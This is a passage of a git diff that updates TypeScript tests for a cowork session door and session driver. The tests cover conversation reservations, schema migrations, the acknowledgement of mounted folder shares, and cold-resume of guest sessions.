schedule: request id with anything before it"], + [{ location: { kind: "outputs" } }, "an outputs location (D3b): the caller creates only on its schedule's own source"], ] as [Partial, string][]) { const error = await s.w.door.create(input(over), COWORK_SCHEDULE_CALLER).then(() => undefined, (caught: unknown) => caught); expect([what, error instanceof CoworkError ? error.code : error]).toEqual([what, "authority_denied"]); } + // Inside the window too, a fresh object with the caller's fields is an ordinary connection: refused, nothing reserved. + await refused(s.w.door.create(input(), { ...COWORK_SCHEDULE_CALLER }), "authority_denied"); + expect([s.w.reservations(), s.w.principalCalls]).toEqual([0, []]); expect((await s.w.door.create(input(), COWORK_SCHEDULE_CALLER)).sessionId).toMatch(/^s_/); expect([s.w.reservations(), s.w.bindings()]).toEqual([1, 1]); expect(s.w.principalCalls).toEqual([]); @@ -397,7 +404,7 @@ test("the store: createSession still refuses cowork; ensureCoworkSession admits // ------------------------------------------------------------------------------------------------ migration 19 test("migration 19: the reservation table is Cowork authority with its constraints; populated, it refuses both downgrades and survives them", () => { - expect(RUNTIME_STATE_SCHEMA_VERSION).toBe(19); + expect(RUNTIME_STATE_SCHEMA_VERSION).toBe(21); expect(COWORK_TABLES).toContain("cowork_session_reservations"); expect(COWORK_TABLES.indexOf("cowork_session_reservations")).toBeLessThan(COWORK_TABLES.indexOf("cowork_workspaces")); // drop order: child first const w = world(), insert = (sessionId: string, requestId: string, digest = "a".repeat(64), state = "pending") => @@ -419,8 +426,8 @@ test("migration 19 downgrades: an empty table rolls back with the rest; one rese const empty = mkdtempSync(join(tmpdir(), "winter-door-d4-v19-")), populated = mkdtempSync(join(tmpdir(), "winter-door-d4-v19-")); cleanups.push(() => { rmSync(empty, { recursive: true, force: true }); rmSync(populated, { recursive: true, force: true }); }); openRuntimeStateDb(empty).close(); - expect(downgradeCoworkRuntimeStateToV7(empty)).toEqual({ from: 19, to: 7 }); - let db = openRuntimeStateDb(empty); expect(db.schemaVersion()).toBe(19); db.close(); + expect(downgradeCoworkRuntimeStateToV7(empty)).toEqual({ from: 21, to: 7 }); + let db = openRuntimeStateDb(empty); expect(db.schemaVersion()).toBe(21); db.close(); // One reservation and nothing else (foreign keys off for the fixture row): it alone must refuse the rollback. db = openRuntimeStateDb(populated); db.db.run("PRAGMA foreign_keys=OFF"); @@ -460,3 +467,102 @@ test("pins: the door module alone calls the reservation and Cowork-row writers a const calls = [...server.matchAll(/door\.create\(\{[\s\S]*?\},\s*(\{[^}]*\})\);/g)].map(match => match[1]); expect(calls).toEqual(['{ role: socket.data.authedRole ?? "unknown", connectionId: socket.data.connId }']); }); + +// ------------------------------------------------------------------------------------------------ D4 review fixes +/** Make the next `count` binds throw `error` (a stand-in for SQLITE_BUSY or a definite refusal), then bind for real. */ +function failBinds(w: ReturnType, error: () => Error, count = 1) { + const real = w.records.bindConversation.bind(w.records); + (w.records as unknown as { bindConversation: unknown }).bindConversation = (...args: Parameters) => { if (count > 0) { count--; throw error(); } return real(...args); }; +} +const logLines = (w: ReturnType, sessionId: string) => { const path = join(w.storeHome, "sessions", "t", `${sessionId}.jsonl`); return existsSync(path) ? readFileSync(path, "utf8").split("\n").filter(Boolean).map(line => JSON.parse(line) as SessionEvent) : []; }; + +test("D4 fix: a non-CoworkError in bind keeps the reservation pending; inside the window only that request resumes the standalone workspace", async () => { + const w = world({ ownership: "standalone" }), owner = w.made.value.workspace.ownerId; + failBinds(w, () => new Error("SQLITE_BUSY stand-in")); + await w.door.create(w.input({ requestId: "lost" }), HARNESS).then(() => { throw new Error("expected a throw"); }, (error: Error) => expect(error.message).toContain("SQLITE_BUSY")); + expect([w.reservation(owner), w.bindings(), w.rows().map(row => row.session_id)]).toEqual([{ principal_id: "local", request_id: "lost", state: "pending", scope: "t" }, 0, [owner]]); + await refused(w.door.create(w.input({ requestId: "fresh" }), HARNESS), "conversation_limit"); + expect(w.reservation(owner)).toMatchObject({ request_id: "lost", state: "pending" }); + expect(await w.door.create(w.input({ requestId: "lost" }), HARNESS)).toEqual({ sessionId: owner }); + expect([w.reservation(owner), w.bindings(), logLines(w, owner).map(event => event.seq)]).toEqual([{ principal_id: "local", request_id: "lost", state: "bound", scope: "t" }, 1, [1]]); +}); + +test("D4 fix: past the window, an abandoned standalone reservation is withdrawn (store row, then reservation) and the workspace binds again; one seq-1 line", async () => { + const w = world({ ownership: "standalone", stale: 0 }), owner = w.made.value.workspace.ownerId; + failBinds(w, () => new Error("SQLITE_BUSY stand-in")); + await w.door.create(w.input({ requestId: "lost" }), HARNESS).then(() => { throw new Error("expected a throw"); }, () => undefined); + expect(logLines(w, owner).map(event => event.seq)).toEqual([1]); + expect(await w.door.create(w.input({ requestId: "fresh" }), { role: "admin", connectionId: 7 })).toEqual({ sessionId: owner }); + expect([w.reservation(owner), w.reservations(), w.bindings(), w.rows().length]).toEqual([{ principal_id: "local", request_id: "fresh", state: "bound", scope: "t" }, 1, 1, 1]); + expect(createdEvent(logLines(w, owner)).map(event => event.seq)).toEqual([1]); + expect(logLines(w, owner).length).toBe(1); + // The abandoned request's reservation is gone: it starts over and meets the bound conversation's limit. + await refused(w.door.create(w.input({ requestId: "lost" }), HARNESS), "conversation_limit"); + // A bound conversation is never swept, and its own request still answers it. + expect(await w.door.create(w.input({ requestId: "fresh" }), { role: "admin", connectionId: 7 })).toEqual({ sessionId: owner }); +}); + +test("D4 fix: the sweep is standalone-only and never takes the request's own reservation", async () => { + const p = world({ stale: 0 }); + failBinds(p, () => new Error("SQLITE_BUSY stand-in")); + await p.door.create(p.input({ requestId: "lost" }), HARNESS).then(() => { throw new Error("expected a throw"); }, () => undefined); + const other = await p.door.create(p.input({ requestId: "other" }), HARNESS); + expect(p.reservations()).toBe(2); // the Project's abandoned reservation blocks nothing, so it is left for its request + const resumed = await p.door.create(p.input({ requestId: "lost" }), HARNESS); + expect(resumed.sessionId).not.toBe(other.sessionId); + expect(p.bindings()).toBe(2); + // Its own request, even past the window, resumes rather than sweeping itself. + const s = world({ ownership: "standalone", stale: 0 }), owner = s.made.value.workspace.ownerId; + failBinds(s, () => new Error("SQLITE_BUSY stand-in")); + await s.door.create(s.input({ requestId: "lost" }), HARNESS).then(() => { throw new Error("expected a throw"); }, () => undefined); + // Still the same request: other content under its id is request_conflict, never a fresh start over its reservation. + await refused(s.door.create(s.input({ requestId: "lost", location: { kind: "outputs" } }), HARNESS), "request_conflict"); + expect(await s.door.create(s.input({ requestId: "lost" }), HARNESS)).toEqual({ sessionId: owner }); + expect(logLines(s, owner).map(event => event.seq)).toEqual([1]); +}); + +test("D4 fix: a definite refusal on a standalone workspace removes the log with the row, so the reused owner id starts at one seq-1 line", async () => { + const w = world({ ownership: "standalone" }), owner = w.made.value.workspace.ownerId; + failBinds(w, () => new CoworkError("source_unavailable")); + await refused(w.door.create(w.input(), HARNESS), "source_unavailable"); + expect([w.reservations(), w.bindings(), w.rows().length, logLines(w, owner).length]).toEqual([0, 0, 0, 0]); + expect(existsSync(join(w.storeHome, "sessions", "t", `${owner}.jsonl`))).toBe(false); + expect(await w.door.create(w.input(), HARNESS)).toEqual({ sessionId: owner }); + expect(logLines(w, owner).map(event => [event.seq, event.type])).toEqual([[1, "session_created"]]); +}); + +test("D4 fix: withdraw runs the store row first, so a crash before the reservation leaves a pending reservation the same request resumes", async () => { + const w = world({ ownership: "standalone" }), owner = w.made.value.workspace.ownerId; + failBinds(w, () => new CoworkError("source_unavailable")); + const real = w.store.withdrawCoworkSession.bind(w.store); + let crash = true; + (w.store as unknown as { withdrawCoworkSession: unknown }).withdrawCoworkSession = (...args: Parameters) => { if (crash) { crash = false; throw new Error("crash stand-in"); } return real(...args); }; + await w.door.create(w.input(), HARNESS).then(() => { throw new Error("expected a throw"); }, (error: Error) => expect(error.message).toBe("crash stand-in")); + expect([w.reservation(owner), w.rows().map(row => row.session_id)]).toEqual([{ principal_id: "local", request_id: "req", state: "pending", scope: "t" }, [owner]]); + expect(await w.door.create(w.input(), HARNESS)).toEqual({ sessionId: owner }); + expect([w.reservations(), w.bindings()]).toEqual([1, 1]); +}); + +test("D4 fix: ensureCoworkSession refuses recovery_required for a row at seq 0 whose log already has lines; an empty log is appended once", () => { + const w = world({ ownership: "standalone" }), owner = w.made.value.workspace.ownerId; + w.records.reserveConversation({ principalId: "p", workspaceId: w.workspaceId, requestId: "r", scope: "t", requestDigest: "a".repeat(64) }, () => false); + const facts = { approvalPolicy: "ask" as const, model: FIXTURE_MODEL, cowork: { workspaceId: w.workspaceId, projectId: null, location: "source" as const, sourceId: w.sourceId, policyRevision: 1 } }; + w.store.ensureCoworkSession("t", owner, facts, id => w.records.isReservedSession(id)); + const raw = (w.store as unknown as { db: { run(sql: string, args: unknown[]): void } }).db; + raw.run("UPDATE sessions SET last_seq = 0 WHERE session_id = ?", [owner]); + expect(() => w.store.ensureCoworkSession("t", owner, facts, id => w.records.isReservedSession(id))).toThrow("recovery_required"); + writeFileSync(join(w.storeHome, "sessions", "t", `${owner}.jsonl`), ""); + w.store.ensureCoworkSession("t", owner, facts, id => w.records.isReservedSession(id)); + expect(logLines(w, owner).map(event => event.seq)).toEqual([1]); +}); + +test("D4 fix: migration 19's key is (principal, workspace, request): two principals' same request id are two reservations", () => { + const w = world(); + const pk = w.db.db.query<{ name: string; pk: number }, []>("PRAGMA table_info(cowork_session_reservations)").all().filter(column => column.pk > 0).sort((a, b) => a.pk - b.pk).map(column => column.name); + expect(pk).toEqual(["principal_id", "workspace_id", "request_id"]); + const reserve = (principalId: string) => w.records.reserveConversation({ principalId, workspaceId: w.workspaceId, requestId: "same", scope: "t", requestDigest: "a".repeat(64) }, () => false).sessionId; + const one = reserve("local-harness"), two = reserve("host:schedule"); + expect(one).not.toBe(two); + expect(reserve("local-harness")).toBe(one); + expect(w.reservations()).toBe(2); +}); diff --git a/packages/core/test/cowork/session-driver.test.ts b/packages/core/test/cowork/session-driver.test.ts index af95348f4..570f29d5f 100644 --- a/packages/core/test/cowork/session-driver.test.ts +++ b/packages/core/test/cowork/session-driver.test.ts @@ -5,6 +5,7 @@ // // These doubles prove host composition only. They are never native, Linux or image admission evidence (that is D5's // real-host run after S7B lands). +import { coworkHeldInputVerbs } from "../../src/cowork/held-input"; import { afterEach, expect, test } from "bun:test"; import { mkdtempSync, readFileSync, rmSync } from "node:fs"; import { tmpdir } from "node:os"; @@ -17,9 +18,12 @@ import { QuestionBroker } from "../../src/agent/questions"; import { COWORK_GUEST_RUNTIME_MODES } from "../../src/cowork/conversation-set"; import { parseCoworkNativeMuxFrame, serializeCoworkNativeMuxFrame } from "../../src/cowork/native/protocol"; import { coworkApprovalPort } from "../../src/cowork/session-door"; -import { coworkGuestPermissionAnswer, createCoworkSessionDrivers, type CoworkSessionDriverDeps } from "../../src/cowork/session-driver"; -import type { CoworkApprovalPort, CoworkGuestConversationContext, CoworkGuestConversationSet, CoworkGuestRun, CoworkGuestRuntimeLink, CoworkGuestRuntimeOffer, CoworkGuestStarter, CoworkGuestStopOutcome } from "../../src/cowork/session-ports"; +import { coworkAcknowledgeMountedShares, coworkGuestPermissionAnswer, createCoworkSessionDrivers, type CoworkSessionDriverDeps } from "../../src/cowork/session-driver"; +import type { CoworkApprovalPort, CoworkGuestConversationContext, CoworkGuestConversationSet, CoworkGuestStartRequest, CoworkGuestRun, CoworkGuestRuntimeLink, CoworkGuestRuntimeOffer, CoworkGuestStarter, CoworkGuestStopOutcome } from "../../src/cowork/session-ports"; import { startWinterSession } from "../../src/runtime-sdk/winter-session"; +import { CoworkRepository } from "../../src/cowork/repository"; +import { openRuntimeStateDb } from "../../src/runtime-state/db"; +import { CoworkError } from "../../src/cowork/types"; import { ProjectionCheckpoints } from "../../src/runtime-state/checkpoints"; import { SessionHub } from "../../src/sessions/hub"; import { SessionStore } from "../../src/sessions/store"; @@ -127,7 +131,7 @@ class ScriptedGuest { /** The conversation set as the guest receives it: through the native wire's own validator. */ function onTheWire(set: CoworkGuestConversationSet, incarnationId: string): CoworkGuestConversationSet { - const message = { t: "conversations", operationId: "operation", nonce: "cd".repeat(16), incarnationId, profile: set.profile, conversations: set.conversations } as const; + const message = { t: "conversations", operationId: "operation", nonce: "cd".repeat(16), incarnationId, profile: set.profile, browseUid: null, conversations: set.conversations } as const; const frame = parseCoworkNativeMuxFrame(serializeCoworkNativeMuxFrame({ class: "bootstrap", seq: 1, message }, "down"), "down"); if (frame.class !== "bootstrap" || frame.message.t !== "conversations") throw new Error("shape"); return { profile: frame.message.profile, conversations: frame.message.conversations }; @@ -138,17 +142,23 @@ const OFFER: CoworkGuestRuntimeOffer = { profile: "host-query-v1", readiness: [" const cleanups: (() => void | Promise)[] = []; afterEach(async () => { for (const cleanup of cleanups.splice(0).reverse()) await cleanup(); }); -function harness(opts: { policy?: ApprovalPolicy; conversations?: number; production?: boolean; route?: ReturnType; script?: (text: string, guest: ScriptedGuest) => void; afterSet?: () => void; toolClasses?: string[]; location?: "source" | "outputs" } = {}) { - const offer: CoworkGuestRuntimeOffer = { ...OFFER, readiness: [...OFFER.readiness] }; +function harness(opts: { policy?: ApprovalPolicy; conversations?: number; production?: boolean; route?: ReturnType; script?: (text: string, guest: ScriptedGuest) => void; afterSet?: () => void; toolClasses?: string[]; location?: "source" | "outputs"; shares?: (context: CoworkGuestConversationContext, request: CoworkGuestStartRequest) => void; + deps?: Partial; capabilities?: string[]; echo?: ("fresh" | "resume" | undefined)[]; beforeSet?: (n: number) => void; wrapQuery?: (query: ReturnType) => unknown } = {}) { + const offer: CoworkGuestRuntimeOffer = { ...OFFER, readiness: [...OFFER.readiness], ...(opts.capabilities ? { runtimeCapability: { ...OFFER.runtimeCapability, capabilities: opts.capabilities } } : {}) }; + const starts: CoworkGuestStartRequest[] = []; const storeHome = mkdtempSync(join(tmpdir(), "winter-door-d3-store-")), store = new SessionStore(storeHome), hub = new SessionHub(store); const sessions = Array.from({ length: opts.conversations ?? 1 }, () => store.createSession("t", { mode: "code" })); - const f: DoorFixture = doorFixture({ policy: opts.policy ?? "ask", sessions, ...(opts.toolClasses ? { toolClasses: opts.toolClasses } : {}), ...(opts.location ? { location: opts.location } : {}) }); + const f: DoorFixture = doorFixture({ policy: opts.policy ?? "ask", sessions, ...(opts.toolClasses ? { toolClasses: opts.toolClasses } : {}), ...(opts.location ? { location: opts.location } : {}), ...(opts.shares ? { ack: false } : {}) }); const guests: ScriptedGuest[] = [], launched: Options[] = [], approvals = new ApprovalBroker(), questions = new QuestionBroker(); const native: CoworkGuestStarter = { async start(workspaceId, request) { expect(workspaceId).toBe(f.workspaceId); + starts.push(request!); const context = f.begin(`incarnation-${guests.length + 1}`); let set: CoworkGuestConversationSet | null; + opts.beforeSet?.(guests.length); + // #92 N2: a v3 host reports `shares_mounted` before it asks for the set (a bootstrap fault if refused). + if (opts.shares) { try { opts.shares(context, request!); } catch { f.power("stopped"); throw new Error("bootstrap fault: share_mount_failed"); } } // The host fails the start on a refused set (a bootstrap fault); the driver must still surface ITS typed refusal. try { set = request!.conversations(context); } catch { f.power("stopped"); throw new Error("bootstrap fault: bad_conversations"); } if (set === null) throw new Error("no set"); @@ -156,6 +166,8 @@ function harness(opts: { policy?: ApprovalPolicy; conversations?: number; produc f.power("running"); const guest = new ScriptedGuest(context, onTheWire(set, context.incarnationId), () => f.power("stopped")); guest.onUser = opts.script ?? (() => {}); + const echoed = opts.echo?.[guests.length]; + if (echoed !== undefined) Object.assign(guest.run, { continuation: echoed }); guests.push(guest); return guest.run; }, @@ -165,12 +177,13 @@ function harness(opts: { policy?: ApprovalPolicy; conversations?: number; produc const deps: CoworkSessionDriverDeps = { records: f.records, authority: f.authority, store, hub, checkpoints: new ProjectionCheckpoints(f.db), ...(opts.production ? {} : { route: opts.route ?? standinRoute(), native, offer, approvals: port }), - query: input => { launched.push(input.options as Options); return agentQuery(input); }, + query: input => { launched.push(input.options as Options); const q = agentQuery(input); return (opts.wrapQuery ? opts.wrapQuery(q) : q) as ReturnType; }, endGraceMs: 200, + ...opts.deps, }; const drivers = createCoworkSessionDrivers(deps); cleanups.push(async () => { await drivers.beginShutdown(); store.close(); f.close(); rmSync(storeHome, { recursive: true, force: true }); }); - return { f, store, hub, sessions, sid: sessions[0]!, drivers, guests, launched, approvals, deps, offer }; + return { f, store, hub, sessions, sid: sessions[0]!, drivers, guests, launched, approvals, deps, offer, starts }; } async function until(predicate: () => boolean, what = "condition") { const deadline = Date.now() + 3000; @@ -272,6 +285,57 @@ test("D3b: a conversation whose location changed between ensure and the set is r expect(h.launched).toEqual([]); }); +test("#92 N2: at shares_mounted, before the set, a mounted folder source becomes ready for THIS incarnation, and the turn runs on it", async () => { + const h = harness({ script: reply("ok"), shares: (context, request) => { + expect(h.f.records.source(h.f.workspaceId, h.f.sourceId).state).toBe("preparing"); + request.sharesMounted!(context, [{ sourceId: h.f.sourceId, revision: h.f.records.source(h.f.workspaceId, h.f.sourceId).revision }]); + } }); + const session = await h.drivers.ensure(h.sid); + await session.open(); + expect(h.f.records.source(h.f.workspaceId, h.f.sourceId)).toMatchObject({ state: "ready", ackIncarnationId: "incarnation-1" }); + await session.send("hi", "cli"); await session.idle(); + expect(h.guests[0]!.refusals).toEqual([]); +}); + +test("#92 N2: without shares_mounted the unacknowledged source refuses the set; a bad report faults the boot and acknowledges nothing", async () => { + const none = harness({ script: reply("never"), shares: () => {} }); + await expect((await none.drivers.ensure(none.sid)).open()).rejects.toThrow("source_unavailable"); + for (const [name, code, report] of [ + ["a stale revision", "stale_acknowledgment", (f: DoorFixture) => [{ sourceId: f.sourceId, revision: f.records.source(f.workspaceId, f.sourceId).revision + 1 }]], + ["an unknown source", "not_found", () => [{ sourceId: "source_other", revision: 1 }]], + ["a repeat", "invalid_request", (f: DoorFixture) => { const r = f.records.source(f.workspaceId, f.sourceId).revision; return [{ sourceId: f.sourceId, revision: r }, { sourceId: f.sourceId, revision: r }]; }], + ["nothing", "invalid_request", () => []], + ] as [string, string, (f: DoorFixture) => { sourceId: string; revision: number }[]][]) { + let h: ReturnType | undefined; + h = harness({ script: reply("never"), shares: (context, request) => request.sharesMounted!(context, report(h!.f)) }); + const error = await (await h.drivers.ensure(h.sid)).open().then(() => undefined, (caught: unknown) => caught as CoworkError); + // The driver surfaces ITS typed refusal, not the host's bootstrap fault. + expect([name, (error as CoworkError | undefined)?.code]).toEqual([name, code]); + expect([name, h.f.records.source(h.f.workspaceId, h.f.sourceId).state]).toEqual([name, "preparing"]); + expect([name, h.launched.length]).toEqual([name, 0]); + } +}); + +test("#92 N2: only a present folder source can be acknowledged by a share (a repository is never mounted as one)", () => { + const home = mkdtempSync(join(tmpdir(), "winter-door-n2-")), db = openRuntimeStateDb(home), records = new CoworkRepository(db); + cleanups.push(() => { db.close(); rmSync(home, { recursive: true, force: true }); }); + const made = records.create({ principalId: "fixture", requestId: "c" }, { ownership: "project", title: "t", ceiling: { toolClasses: ["read"], hostServices: [], connectors: [], network: "none" }, + sources: [{ kind: "githubRepository", access: "read-only", label: "repo", detail: { repositoryId: "repo-1", authorityRef: "auth-1", initialRef: "main" } }] }); + const epoch = records.beginIncarnation(made.workspaceId, "inc", records.get(made.workspaceId).configRevision), source = records.sources(made.workspaceId)[0]!; + const context = { workspaceId: made.workspaceId, incarnationId: "inc", leaseEpoch: epoch.leaseEpoch, guestBootId: "12345678-1234-4234-8234-123456789abc" }; + expect(() => coworkAcknowledgeMountedShares(records, context, [{ sourceId: source.sourceId, revision: source.revision }])).toThrow("stale_acknowledgment"); + expect(records.source(made.workspaceId, source.sourceId).state).toBe("preparing"); +}); + +test("#92 N2: shares_mounted after the set is refused (it must precede conversations)", async () => { + let late: (() => void) | undefined; + const h = harness({ script: reply("ok"), afterSet: () => { late!(); } , shares: (context, request) => { + request.sharesMounted!(context, [{ sourceId: h.f.sourceId, revision: h.f.records.source(h.f.workspaceId, h.f.sourceId).revision }]); + late = () => expect(() => request.sharesMounted!(context, [{ sourceId: h.f.sourceId, revision: 1 }])).toThrow("recovery_required"); + } }); + await (await h.drivers.ensure(h.sid)).open(); +}); + test("D3b: under plan the outputs root is read-only and the runtime runs plan", async () => { const h = harness({ policy: "plan", location: "outputs", script: reply("ok") }); const session = await h.drivers.ensure(h.sid); @@ -296,6 +360,8 @@ test("plan view: not expressible in host-query-v1 yet. The real validator refuse // The driver never asks for the view: the approvals bridge sees planViewInstalled false (a plan scratch write is refused). const text = readFileSync(join(import.meta.dir, "..", "..", "src", "cowork", "session-driver.ts"), "utf8"); expect(text).not.toMatch(/planViewMounted/); + // Nor the plan scratch root (conversation-set.ts builds it only when asked; the native wire refuses it today). + expect(text).not.toMatch(/planScratchEpoch/); }); test("for every policy the host launch's mode equals the mode the guest's own map gives the set's policy: default or plan only", async () => { @@ -496,3 +562,291 @@ test("between the runtime's exit and the incarnation's stop outcome, a send refu guest.terminate({ released: true, evidence: "orderly-receipt" }); await until(() => h.drivers.get(h.sid) === undefined, "the close"); }); + +test("#92 N2 fix: a mixed report acknowledges nothing: no source ready, nothing published, no operation concluded", () => { + const home = mkdtempSync(join(tmpdir(), "winter-door-n2-mixed-")), db = openRuntimeStateDb(home), records = new CoworkRepository(db); + cleanups.push(() => { db.close(); rmSync(home, { recursive: true, force: true }); }); + const folder = { kind: "folder" as const, access: "read-write" as const, label: "f", detail: { grantRef: "grant", rootIdentity: "root" } }; + const made = records.create({ principalId: "fixture", requestId: "c" }, { ownership: "project", title: "t", ceiling: { toolClasses: ["read"], hostServices: [], connectors: [], network: "none" }, sources: [folder, folder] }); + const epoch = records.beginIncarnation(made.workspaceId, "inc", records.get(made.workspaceId).configRevision); + const [good, other] = records.sources(made.workspaceId) as [ReturnType, ReturnType]; + const context = { workspaceId: made.workspaceId, incarnationId: "inc", leaseEpoch: epoch.leaseEpoch, guestBootId: "12345678-1234-4234-8234-123456789abc" }; + const published = () => db.db.query("SELECT COUNT(*) AS n FROM cowork_outbox WHERE kind IN ('workspace_sources_changed','workspace_operation_changed')").get(); + const before = published(); + for (const [report, code] of [ + [[{ sourceId: good.sourceId, revision: good.revision }, { sourceId: other.sourceId, revision: other.revision + 1 }], "stale_acknowledgment"], + [[{ sourceId: good.sourceId, revision: good.revision }, { sourceId: "source_missing", revision: 1 }], "not_found"], + [Array.from({ length: 13 }, (_, i) => ({ sourceId: `source_${i}`, revision: 1 })), "invalid_request"], + ] as [{ sourceId: string; revision: number }[], string][]) { + expect(() => coworkAcknowledgeMountedShares(records, context, report)).toThrow(code); + expect(records.sources(made.workspaceId).map(source => source.state)).toEqual(["preparing", "preparing"]); + expect(published()).toEqual(before); + expect(records.operation(made.workspaceId, made.operationId).status).toBe("pending"); + } + // Both good: both ready together, and the creation concludes applied. + coworkAcknowledgeMountedShares(records, context, [{ sourceId: good.sourceId, revision: good.revision }, { sourceId: other.sourceId, revision: other.revision }]); + expect(records.sources(made.workspaceId).map(source => source.state)).toEqual(["ready", "ready"]); + expect(records.operation(made.workspaceId, made.operationId).status).toBe("applied"); +}); + +test("#92 N2 fix: a report for another workspace is authority_denied; once a report is refused, the set is refused too", async () => { + let h: ReturnType | undefined; + h = harness({ script: reply("never"), shares: (context, request) => request.sharesMounted!({ ...context, workspaceId: "ws_other" }, [{ sourceId: h!.f.sourceId, revision: 1 }]) }); + await expect((await h.drivers.ensure(h.sid)).open()).rejects.toThrow("authority_denied"); + expect(h.f.records.source(h.f.workspaceId, h.f.sourceId).state).toBe("preparing"); + // A host that swallowed the refusal and asks for the set anyway: the driver refuses it with the first refusal. + let s: ReturnType | undefined; + s = harness({ script: reply("never"), shares: (context, request) => { + request.sharesMounted!(context, [{ sourceId: s!.f.sourceId, revision: s!.f.records.source(s!.f.workspaceId, s!.f.sourceId).revision }]); + try { request.sharesMounted!(context, []); } catch { /* swallowed by a faulty host */ } + } }); + await expect((await s.drivers.ensure(s.sid)).open()).rejects.toThrow("invalid_request"); + expect([s.guests.length, s.launched.length]).toEqual([0, 0]); +}); + +// ------------------------------------------------------------------------------------------------ #92 N3 + N4 +test("N3: a fresh start allocates the stable uids, writes started ahead of the set, and the first completed turn records created", async () => { + const h = harness({ script: reply("ok") }); + const session = await h.drivers.ensure(h.sid); + await session.open(); + expect(h.f.records.storeState(h.sid)).toEqual({ storeState: "started", lastIncarnationId: "incarnation-1", runtimeUid: 2001, toolUid: 2002 }); + const item = h.guests[0]!.set.conversations[0]!; + expect([item.runtimeUid, item.toolUid]).toEqual([2001, 2002]); + expect(h.starts[0]!.resume).toBeUndefined(); + await session.send("hi", "cli"); await session.idle(); + expect(h.f.records.storeState(h.sid).storeState).toBe("created"); + expect(session.resumed).toBe(false); + // The set carries the ALLOCATED pair, not fixed picks: with another conversation's uids taken, this one gets the next pair. + const two = harness({ conversations: 2, script: reply("ok") }); + expect(two.f.records.allocateGuestUids(two.sessions[1]!, 2000)).toEqual({ runtimeUid: 2001, toolUid: 2002 }); + await (await two.drivers.ensure(two.sid)).open(); + const sent = two.guests[0]!.set.conversations[0]!; + expect([sent.runtimeUid, sent.toolUid]).toEqual([2003, 2004]); +}); + +test("N3 gate: without the cold-resume port a conversation whose guest received a set never starts again (every production host)", async () => { + const h = harness({ script: reply("ok") }); + const session = await h.drivers.ensure(h.sid); + await session.open(); await session.send("hi", "cli"); await session.idle(); await session.end(); + await until(() => h.drivers.get(h.sid) === undefined, "the incarnation to end"); + await expect(h.drivers.ensure(h.sid)).rejects.toThrow("cold_resume_unavailable"); + expect(h.starts).toHaveLength(1); +}); + +test("N3 gated on: a created store resumes under the SAME backend identity and uids, with continuation resume and the proven-ended boots", async () => { + const h = harness({ script: reply("ok"), deps: { coldResume: { ownerPatchApplied: true } } }); + const first = await h.drivers.ensure(h.sid); + await first.open(); await first.send("hi", "cli"); await first.idle(); await first.end(); + await until(() => h.drivers.get(h.sid) === undefined, "the incarnation to end"); + // S7B records the first boot and its proven end (D1 evidence) after release. + h.f.db.db.run("INSERT INTO cowork_guest_boots(workspace_id,incarnation_id,lease_epoch,guest_boot_id,recorded_at,ended_proof,ended_at) VALUES(?,?,?,?,'t','orderly-receipt','t')", + [h.f.workspaceId, "incarnation-1", h.guests[0]!.context.leaseEpoch, h.guests[0]!.context.guestBootId]); + const second = await h.drivers.ensure(h.sid); + expect(second.resumed).toBe(true); + expect(second.backendSessionId).toBe(first.backendSessionId); + await second.open(); + expect(h.starts[1]!.resume).toEqual({ continuation: "resume", endedGuestBoots: [h.guests[0]!.context.guestBootId] }); + const before = h.guests[0]!.set.conversations[0]!, after = h.guests[1]!.set.conversations[0]!; + expect([after.runtimeUid, after.toolUid, after.authority.sessionId]).toEqual([before.runtimeUid, before.toolUid, before.authority.sessionId]); + expect([(h.launched[0] as { resume?: string }).resume, (h.launched[1] as { resume?: string }).resume]).toEqual([undefined, first.backendSessionId]); + expect(h.f.records.storeState(h.sid)).toMatchObject({ storeState: "created", lastIncarnationId: "incarnation-2" }); + await second.send("again", "cli"); await second.idle(); + expect(h.guests[1]!.refusals).toEqual([]); +}); + +test("N3 gated on: a started store (no completed turn) resumes as `either`; a lost store refuses and starts nothing", async () => { + const h = harness({ script: () => {}, echo: [undefined, "fresh"], deps: { coldResume: { ownerPatchApplied: true } } }); + const first = await h.drivers.ensure(h.sid); + await first.open(); await first.end(); + await until(() => h.drivers.get(h.sid) === undefined, "the incarnation to end"); + expect(h.f.records.storeState(h.sid).storeState).toBe("started"); + const second = await h.drivers.ensure(h.sid); + await second.open(); + expect(h.starts[1]!.resume).toEqual({ continuation: "either", endedGuestBoots: [] }); + expect((h.launched[1] as { resume?: string }).resume).toBeUndefined(); // `either`, the guest echoed `fresh`: no store to resume + await second.end(); + await until(() => h.drivers.get(h.sid) === undefined, "the second incarnation to end"); + h.f.records.markStoreLost(h.sid); + await expect(h.drivers.ensure(h.sid)).rejects.toThrow("cold_resume_unavailable"); + expect(h.starts).toHaveLength(2); +}); + +/** Ends the first incarnation of a started-store conversation (no completed turn), so the next `ensure` plans `either`. */ +async function startedThenEnded(h: ReturnType) { + const first = await h.drivers.ensure(h.sid); + await first.open(); await first.end(); + await until(() => h.drivers.get(h.sid) === undefined, "the incarnation to end"); + expect(h.f.records.storeState(h.sid).storeState).toBe("started"); +} + +test("N3 (CR2): an `either` start sets the query's resume only when the guest echoes `resume`; no echo is refused, never guessed", async () => { + const found = harness({ script: () => {}, echo: [undefined, "resume"], deps: { coldResume: { ownerPatchApplied: true } } }); + await startedThenEnded(found); + const second = await found.drivers.ensure(found.sid); + await second.open(); + expect((found.launched[1] as { resume?: string }).resume).toBe(second.backendSessionId); + // No echo: the host cannot tell fresh from resume, so the incarnation is stopped before any query is built. + const silent = harness({ script: () => {}, deps: { coldResume: { ownerPatchApplied: true } } }); + await startedThenEnded(silent); + const third = await silent.drivers.ensure(silent.sid); + await expect(third.open()).rejects.toThrow("recovery_required"); + expect(silent.launched).toHaveLength(1); + expect(silent.guests[1]!.stops).toEqual(["user"]); + // A created store whose guest says `fresh` lost its store: never started fresh under the old identity. + const missing = harness({ script: reply("ok"), echo: [undefined, "fresh"], deps: { coldResume: { ownerPatchApplied: true } } }); + const one = await missing.drivers.ensure(missing.sid); + await one.open(); await one.send("hi", "cli"); await one.idle(); await one.end(); + await until(() => missing.drivers.get(missing.sid) === undefined, "the incarnation to end"); + await expect((await missing.drivers.ensure(missing.sid)).open()).rejects.toThrow("recovery_required"); + expect(missing.launched).toHaveLength(1); +}); + +test("N3 (L8): a store marked lost while the native start runs is refused at the set, in the repository and in the driver", async () => { + const h = harness({ script: reply("ok"), beforeSet: n => { if (n === 1) h.f.records.markStoreLost(h.sid); }, deps: { coldResume: { ownerPatchApplied: true } } }); + const first = await h.drivers.ensure(h.sid); + await first.open(); await first.send("hi", "cli"); await first.idle(); await first.end(); + await until(() => h.drivers.get(h.sid) === undefined, "the 